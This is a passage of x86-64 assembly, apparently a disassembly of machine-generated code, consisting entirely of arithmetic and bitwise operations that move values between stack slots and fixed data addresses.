mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x3fa4], eax
mov rax, qword [rsp + 0x7b38]
movzx ecx, al
mov rax, qword [rsp + 0x8a60]
sar rax, cl
mov rcx, qword [rsp + 0x7548]
mov qword [rcx], rax
movsx eax, word [rsp + 0xcf0]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a6d8]
mov word [rcx], ax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x84c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x13a], al
movzx eax, word [rsp + 0xec4]
movzx ecx, word [rsp + 0xf08]
shl eax, cl
mov word [rsp + 0xdd0], ax
movzx eax, word [rsp + 0xc3c]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0x88f8]
mov rcx, qword [rsp + 0x7d88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6ee0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ec8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3eb0], eax
mov rax, qword [rsp + 0x85c0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x82a0]
movzx eax, word [rax]
mov word [0x14017a8d8], ax
mov rax, qword [rsp + 0x74a8]
movzx eax, byte [rax]
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x118], al
mov rax, qword [0x14017a720]
movzx eax, byte [rax]
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x79e0]
mov rcx, qword [rsp + 0x85c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7e70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3eb0]
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0x7a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x8bf0], rax
mov rax, qword [rsp + 0x88e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a690]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
add eax, ecx
mov rcx, qword [rsp + 0x85f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov byte [rcx], al
movzx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d18]
mov byte [rcx], al
mov rax, qword [rsp + 0x7908]
mov eax, dword [rax]
mov dword [rsp + 0x3fb0], eax
mov eax, dword [rsp + 0x3b64]
movzx ecx, al
mov eax, dword [rsp + 0x3d68]
shr eax, cl
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
lea rax, [rsp + 0x6ff0]
mov qword [rsp + 0x8bf8], rax
mov rax, qword [rsp + 0x8148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d08], rax
mov rax, qword [0x14017a528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8900]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401790f0], ax
mov rax, qword [rsp + 0x6df8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a20]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x8110]
movzx eax, word [rax]
mov word [rsp + 0xf9c], ax
movsx eax, word [0x14017a558]
movsx ecx, word [rsp + 0xf94]
and eax, ecx
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x8c00], rax
mov rax, qword [rsp + 0x74b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c6c], eax
mov rax, qword [rsp + 0x72b0]
mov rcx, qword [rsp + 0x7fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7238], rax
lea rax, [rsp + 0x86b8]
mov qword [rsp + 0x8c08], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3be4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7c98]
movzx eax, word [rax]
mov word [rsp + 0xfa0], ax
movzx eax, byte [rsp + 0x141]
movzx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [0x140179077], al
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x81d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xe4c]
sub eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xfa0]
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8060]
mov rax, qword [rax]
mov qword [rsp + 0x8c10], rax
mov rax, qword [rsp + 0x86c0]
mov rcx, qword [rsp + 0x7648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7280], rax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0x8c18], rax
movzx eax, byte [0x14017a55a]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0x7ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8798]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a5e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x138]
shl eax, cl
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x81]
mov qword [rsp + 0x8c20], rax
movzx eax, word [rsp + 0xf08]
movzx ecx, word [rsp + 0xd48]
sar eax, cl
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0x70f8]
mov rax, qword [rax]
mov qword [rsp + 0x8c28], rax
mov eax, dword [rsp + 0x3e3c]
mov ecx, dword [rsp + 0x3d5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8478]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x7250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b40]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0x8c30], rax
movzx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [0x14017a548]
mov byte [rcx], al
mov rax, qword [0x14017a648]
movzx eax, byte [rax]
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0x8588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd10]
add eax, ecx
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf0]
and eax, ecx
mov rcx, qword [rsp + 0x8438]
mov word [rcx], ax
lea rax, [rsp + 0x6d80]
mov qword [rsp + 0x8c38], rax
mov rax, qword [rsp + 0x7620]
mov rcx, qword [rsp + 0x7658]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c4c], eax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x8c40], rax
mov rax, qword [rsp + 0x7918]
mov rcx, qword [rsp + 0x7a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
lea rax, [rsp + 0x13f]
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x7bb8]
movzx eax, word [rax]
mov word [0x14017a8dc], ax
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdd0], ax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ba0]
mov byte [rcx], al
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x8c50], rax
mov rax, qword [rsp + 0x8980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8720]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe38], ax
mov rax, qword [rsp + 0x80f0]
mov rax, qword [rax]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7560]
mov qword [rsp + 0x8c60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c60]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x71d8], rax
mov rax, qword [rsp + 0x7df8]
mov rcx, qword [rsp + 0x7230]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
lea rax, [rsp + 0x3e74]
mov qword [rsp + 0x8c68], rax
lea rax, [rsp + 0xdd0]
mov qword [0x14017a8e0], rax
mov rax, qword [rsp + 0x7ba0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900e]
xor eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8610]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ac0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf40], ax
lea rax, [rsp + 0x3f10]
mov qword [rsp + 0x8c78], rax
mov rax, qword [rsp + 0x89d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7280], rax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x8248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a584], al
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [rsp + 0xd0]
add eax, ecx
mov rcx, qword [rsp + 0x89e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x14e], al
movsx eax, word [rsp + 0xd94]
movsx ecx, word [rsp + 0xdd8]
and eax, ecx
mov rcx, qword [rsp + 0x8660]
mov word [rcx], ax
movzx eax, word [0x140179030]
mov word [rsp + 0xfa8], ax
mov eax, dword [rsp + 0x3efc]
mov ecx, dword [rsp + 0x3ed4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov dword [rcx], eax
lea rax, [rsp + 0x8850]
mov qword [rsp + 0x8c88], rax
mov rax, qword [rsp + 0x70f8]
mov rcx, qword [rsp + 0x87f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7830], rax
mov rax, qword [rsp + 0x74f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3db0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7d28]
mov dword [rcx], eax
lea rax, [rsp + 0xc24]
mov qword [0x14017a8e8], rax
lea rax, [rsp + 0xcd4]
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7640]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
lea rax, [rsp + 0x112]
mov qword [rsp + 0x8c98], rax
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7580]
mov word [rcx], ax
mov rax, qword [rsp + 0x8198]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x6f60]
mov eax, dword [rax]
mov dword [rsp + 0x3fb4], eax
mov eax, dword [0x14017a4d0]
mov rcx, qword [rsp + 0x7ac8]
mov qword [rsp + 0x8ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ca0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x88a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76e0]
mov qword [rsp + 0x8ca8], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xdb]
and eax, ecx
mov byte [0x14017a4fb], al
mov rax, qword [rsp + 0x8370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x8b98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov byte [rsp + 0x14f], al
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b18]
mov word [rcx], ax
lea rax, [rsp + 0x78f0]
mov qword [rsp + 0x8cb0], rax
mov eax, dword [rsp + 0x3e44]
mov ecx, dword [rsp + 0x3f38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0x86e0]
mov rax, qword [rax]
mov qword [rsp + 0x8cb8], rax
mov rax, qword [rsp + 0x8318]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e4c], eax
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [0x14017907a], al
mov rax, qword [0x14017a6a0]
movzx eax, word [rax]
imul eax, eax, 0xfa
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x7d20]
movzx eax, word [rax]
mov word [rsp + 0xfac], ax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov byte [rsp + 0x150], al
mov eax, dword [rsp + 0x3f50]
mov ecx, dword [rsp + 0x3f5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a88]
movzx ecx, al
mov rax, qword [rsp + 0x74e8]
shr rax, cl
mov qword [rsp + 0x8350], rax
mov eax, dword [section..data]
mov dword [rsp + 0x3fb8], eax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8470]
shl rax, cl
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x83a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14017a808], ax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x8cc0], rax
movsx eax, byte [rsp + 0x103]
movsx ecx, byte [rsp + 0x5d]
xor eax, ecx
mov byte [rsp + 0xd2], al
movsx eax, byte [rsp + 0x100]
movsx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [rsp + 0x71], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x8cc8], rax
mov rax, qword [rsp + 0x8950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7cc8], rax
lea rax, [rsp + 0x7840]
mov qword [rsp + 0x8cd0], rax
mov rax, qword [rsp + 0x8760]
mov ecx, dword [rsp + 0x3e34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8100]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
lea rax, [rsp + 0xa5]
mov qword [0x14017a8f0], rax
mov rax, qword [rsp + 0x8980]
movzx eax, word [rax]
mov word [rsp + 0xfb0], ax
movzx eax, word [rsp + 0xe68]
movzx ecx, word [rsp + 0xf50]
sub eax, ecx
mov word [rsp + 0xefc], ax
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x8090]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
lea rax, [rsp + 0x78f0]
mov qword [rsp + 0x8cd8], rax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x8cb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
lea rax, [rsp + 0x3c08]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf0]
sub eax, ecx
mov rcx, qword [rsp + 0x8108]
mov word [rcx], ax
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401790a4], ax
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x13a]
shl eax, cl
mov rcx, qword [rsp + 0x8688]
mov byte [rcx], al
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7570]
mov word [rcx], ax
mov rax, qword [rsp + 0x8920]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x8ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c60], eax
lea rax, [0x140179010]
mov qword [rsp + 0x8cf0], rax
mov eax, dword [rsp + 0x3c78]
mov ecx, dword [rsp + 0x3d08]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x88a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49]
sar eax, cl
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0xcf0]
movsx ecx, word [rsp + 0xd4c]
add eax, ecx
mov rcx, qword [0x14017a788]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10a]
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x84d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd18]
sub eax, ecx
mov rcx, qword [rsp + 0x79a8]
mov word [rcx], ax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x8cf8], rax
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7950]
mov rcx, qword [rsp + 0x7c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8168], rax
mov rax, qword [rsp + 0x7e90]
mov eax, dword [rax]
mov dword [rsp + 0x3fbc], eax
mov rax, qword [rsp + 0x80f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ee8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79b0], rax
lea rax, [rsp + 0xd44]
mov qword [rsp + 0x8d00], rax
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017907b], al
mov rax, qword [rsp + 0x8110]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b00]
mov word [rcx], ax
lea rax, [rsp + 0x102]
mov qword [rsp + 0x8d08], rax
mov rax, qword [rsp + 0x8468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x87c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ec8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7aa0]
mov rcx, qword [rsp + 0x8478]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8138]
mov qword [rsp + 0x8d10], rax
mov rax, qword [rsp + 0x70b0]
mov rcx, qword [rsp + 0x8908]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c90], rax
mov eax, dword [rsp + 0x3db4]
mov dword [rsp + 0x3fc0], eax
movzx eax, word [rsp + 0xf90]
movzx ecx, word [rsp + 0xf70]
add eax, ecx
mov rcx, qword [rsp + 0x8528]
mov word [rcx], ax
mov rax, qword [rsp + 0x7fc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd50]
shl eax, cl
mov word [0x14017906c], ax
mov rax, qword [rsp + 0x8bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xab], al
lea rax, [0x140179090]
mov qword [rsp + 0x8d18], rax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0xe5]
or eax, ecx
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0xe08]
mov word [rsp + 0xfb4], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3ed8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7ba8]
mov rcx, qword [rsp + 0x7e08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7290], rax
mov eax, dword [rsp + 0x3e80]
mov dword [rsp + 0x3fc4], eax
mov rax, qword [rsp + 0x7168]
mov rcx, qword [rsp + 0x8a58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a50]
movzx eax, byte [rax]
mov byte [0x14017a586], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x79a8]
movzx eax, word [rax]
movzx ecx, word [0x140179030]
add eax, ecx
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x8d20], rax
movsx eax, word [rsp + 0xe40]
mov rcx, qword [rsp + 0x8a80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6c38]
mov word [rcx], ax
mov rax, qword [rsp + 0x8988]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0x7ae0]
mov rax, qword [rax]
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0x86e0]
mov rcx, qword [rsp + 0x89b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x86d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b10]
mov eax, dword [rax]
mov dword [rsp + 0x3fc8], eax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a600]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b48]
mov byte [rcx], al
mov rax, qword [0x14017a620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x72e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8720]
mov word [rcx], ax
lea rax, [rsp + 0xc24]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8d20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sar eax, cl
mov byte [rsp + 0x5e], al
lea rax, [rsp + 0x7c60]
mov qword [rsp + 0x8d38], rax
mov rax, qword [rsp + 0x8100]
mov ecx, dword [rsp + 0x3f9c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x8ab0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7958]
mov qword [rsp + 0x8d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8768], rax
lea rax, [rsp + 0x3cf0]
mov qword [rsp + 0x8d48], rax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0xc0c]
xor eax, ecx
mov word [0x1401790f4], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x7688]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x141], al
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x87d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xecc]
imul eax, ecx
mov rcx, qword [rsp + 0x8548]
mov word [rcx], ax
mov rax, qword [rsp + 0x82a8]
movsx eax, word [rax]
mov rcx, qword [0x14017a678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc54], ax
mov eax, dword [rsp + 0x3f70]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0x7f28]
mov rcx, qword [rsp + 0x71c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8330]
mov qword [rcx], rax
lea rax, [rsp + 0x3af0]
mov qword [rsp + 0x8d58], rax
mov rax, qword [rsp + 0x8b90]
mov rcx, qword [rsp + 0x7078]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x73b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7bb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8448]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a840]
mov word [rcx], ax
mov rax, qword [rsp + 0x8610]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
movzx eax, byte [0x14017a4fd]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8680]
mov byte [rcx], al
mov rax, qword [rsp + 0x83a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xdfc], ax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x8d60], rax
mov eax, dword [rsp + 0x3bf0]
mov ecx, dword [rsp + 0x3e64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e94], eax
mov rax, qword [rsp + 0x7bf0]
mov eax, dword [rax]
mov dword [rsp + 0x3fd0], eax
mov rax, qword [rsp + 0x8148]
mov rcx, qword [rsp + 0x7068]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7408]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov word [0x1401790f8], ax
mov rax, qword [rsp + 0x6f00]
movzx eax, byte [rax]
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0x7598]
